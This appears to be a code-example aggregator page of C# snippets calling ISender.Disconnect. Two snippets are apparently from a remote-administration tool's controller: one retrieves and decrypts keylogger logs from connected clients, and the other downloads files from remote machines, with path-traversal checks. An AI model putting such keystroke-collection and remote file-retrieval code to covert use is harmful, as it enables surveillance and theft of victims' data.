Exemple #1
0
 public override Task <AppMessage> OnMessageReceivedAsync(ISender sender, IMessage message)
 {
     if (message is CloseMessage)
     {
         sender.Disconnect(true, true);
     }
     return(base.OnMessageReceivedAsync(sender, message));
 }
Exemple #2
0
 public async Task DisconnectAsync()
 {
     if (_sender.IsConnected)
     {
         await _receiverChannel.StopAsync(_sender);
     }
     (_receiverChannel as IStatusChannel).Status = null;
     (_mediaChannel as IStatusChannel).Status    = null;
     CancelAndSetListenerToken(false);
     _sender.Disconnect(true, false);
     CurrentContentId = null;
     OnDisconnect(this, EventArgs.Empty);
 }
        private void Execute(ISender client, GetKeyloggerLogsResponse message)
        {
            if (message.FileCount == 0)
            {
                OnReport("Ready");
                return;
            }

            // don't escape from download directory
            if (FileHelper.HasIllegalCharacters(message.Filename))
            {
                // disconnect malicious client
                client.Disconnect();
                return;
            }

            if (!Directory.Exists(_baseDownloadPath))
            {
                Directory.CreateDirectory(_baseDownloadPath);
            }

            string downloadPath = Path.Combine(_baseDownloadPath, message.Filename + ".html");

            FileSplit destFile = new FileSplit(downloadPath);

            destFile.AppendBlock(message.Block, message.CurrentBlock);

            if (message.CurrentBlock + 1 == message.MaxBlocks)
            {
                try
                {
                    File.WriteAllText(downloadPath, FileHelper.ReadLogFile(downloadPath, _client.Value.EncryptionKey));
                }
                catch (Exception)
                {
                    OnReport("Failed to write logs");
                }

                if (message.Index == message.FileCount)
                {
                    OnReport("Ready");
                }
            }
        }
        private void Execute(ISender client, DoDownloadFileResponse message)
        {
            FileTransfer transfer;

            lock (_syncLock)
            {
                transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id);
            }

            if (transfer == null)
            {
                // don't escape from download directory
                if (FileHelper.CheckPathForIllegalChars(message.Filename))
                {
                    // disconnect malicious client
                    client.Disconnect();
                    return;
                }

                if (!Directory.Exists(_baseDownloadPath))
                {
                    Directory.CreateDirectory(_baseDownloadPath);
                }

                string downloadPath = Path.Combine(_baseDownloadPath, message.Filename);

                int i = 1;
                while (File.Exists(downloadPath))
                {
                    // rename file if it exists already
                    var newFileName = string.Format("{0}({1}){2}", Path.GetFileNameWithoutExtension(downloadPath), i, Path.GetExtension(downloadPath));
                    downloadPath = Path.Combine(_baseDownloadPath, newFileName);
                    i++;
                }

                transfer = new FileTransfer
                {
                    Id              = message.Id,
                    Type            = TransferType.Download,
                    LocalPath       = downloadPath,
                    RemotePath      = message.Filename,  // TODO: Change to absolute path
                    Size            = message.MaxBlocks, // TODO: Change to real size
                    TransferredSize = 0
                };

                lock (_syncLock)
                {
                    _activeFileTransfers.Add(transfer);
                }
            }

            // TODO: change to += message.Block.Length
            transfer.TransferredSize = message.CurrentBlock + 1;

            if (!string.IsNullOrEmpty(message.CustomMessage))
            {
                // client-side error
                transfer.Status = message.CustomMessage;
                OnFileTransferUpdated(transfer);
                return;
            }

            FileSplit destFile = new FileSplit(transfer.LocalPath);

            if (!destFile.AppendBlock(message.Block, message.CurrentBlock))
            {
                // server-side error
                transfer.Status = destFile.LastError;
                OnFileTransferUpdated(transfer);
                return;
            }

            if (message.CurrentBlock + 1 == message.MaxBlocks)
            {
                transfer.Status = "Completed";
            }
            else
            {
                decimal progress =
                    Math.Round((decimal)((double)(message.CurrentBlock + 1) / (double)message.MaxBlocks * 100.0), 2);

                transfer.Status = $"Downloading...({progress}%)";
            }

            OnFileTransferUpdated(transfer);
        }